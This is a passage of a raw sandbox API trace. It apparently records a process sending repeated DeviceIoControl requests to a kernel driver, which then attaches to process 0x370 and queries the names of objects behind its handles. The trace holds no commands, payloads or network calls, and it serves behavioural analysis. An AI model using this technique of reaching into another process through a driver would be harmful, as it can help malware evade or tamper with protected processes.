IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0070.099] CloseHandle (hObject=0xc8) returned 1 [0070.099] CloseHandle (hObject=0xc0) returned 1 [0070.099] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.099] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0070.099] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.100] PsAcquireProcessExitSynchronization () returned 0x0 [0070.100] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.100] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0070.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.100] PsReleaseProcessExitSynchronization () returned 0x2 [0070.100] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.100] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.100] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0070.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.100] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.100] PsAcquireProcessExitSynchronization () returned 0x0 [0070.100] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.100] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0070.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.100] PsReleaseProcessExitSynchronization () returned 0x2 [0070.100] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.100] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.100] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0070.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0070.101] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.101] PsAcquireProcessExitSynchronization () returned 0x0 [0070.101] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.101] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0070.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.101] PsReleaseProcessExitSynchronization () returned 0x2 [0070.101] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.101] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.101] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0070.101] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.101] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.101] PsAcquireProcessExitSynchronization () returned 0x0 [0070.101] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.101] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.101] PsReleaseProcessExitSynchronization () returned 0x2 [0070.101] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.101] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.101] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.101] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0070.102] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.102] PsAcquireProcessExitSynchronization () returned 0x0 [0070.102] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.102] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0070.102] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.102] PsReleaseProcessExitSynchronization () returned 0x2 [0070.102] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.102] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.102] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0070.102] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.102] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.102] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.102] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.102] PsAcquireProcessExitSynchronization () returned 0x0 [0070.102] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.102] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0070.102] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.102] PsReleaseProcessExitSynchronization () returned 0x2 [0070.102] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.102] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.102] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0070.102] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.102] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.102] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.102] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.102] PsAcquireProcessExitSynchronization () returned 0x0 [0070.102] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.102] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.103] PsReleaseProcessExitSynchronization () returned 0x2 [0070.103] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.103] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.103] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.103] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0070.103] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.103] PsAcquireProcessExitSynchronization () returned 0x0 [0070.103] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.103] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0070.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.103] PsReleaseProcessExitSynchronization () returned 0x2 [0070.103] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.103] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa80039a7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.103] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0070.103] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.103] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.103] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.103] PsAcquireProcessExitSynchronization () returned 0x0 [0070.103] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.103] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0070.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.103] PsReleaseProcessExitSynchronization () returned 0x2 [0070.103] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.103] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.103] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0070.103] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0070.104] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.104] PsAcquireProcessExitSynchronization () returned 0x0 [0070.104] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.104] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0070.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.104] PsReleaseProcessExitSynchronization () returned 0x2 [0070.104] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.104] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.104] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0070.104] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0070.104] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.104] PsAcquireProcessExitSynchronization () returned 0x0 [0070.104] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.104] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0070.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.104] PsReleaseProcessExitSynchronization () returned 0x2 [0070.104] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.104] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.104] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0070.104] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0070.105] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.105] PsAcquireProcessExitSynchronization () returned 0x0 [0070.105] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.105] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0070.105] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.105] PsReleaseProcessExitSynchronization () returned 0x2 [0070.105] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.105] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.105] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0070.105] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.105] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.105] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.105] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.105] PsAcquireProcessExitSynchronization () returned 0x0 [0070.105] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.105] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0070.105] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.105] PsReleaseProcessExitSynchronization () returned 0x2 [0070.105] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.105] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.105] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0070.105] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.105] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.105] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0070.105] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.106] PsAcquireProcessExitSynchronization () returned 0x0 [0070.106] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.106] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0070.106] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.106] PsReleaseProcessExitSynchronization () returned 0x2 [0070.106] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.106] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.106] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0070.106] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.106] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.106] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0070.106] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.106] PsAcquireProcessExitSynchronization () returned 0x0 [0070.106] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.106] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0070.106] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.106] PsReleaseProcessExitSynchronization () returned 0x2 [0070.106] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.106] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.106] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0070.106] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.106] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.106] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 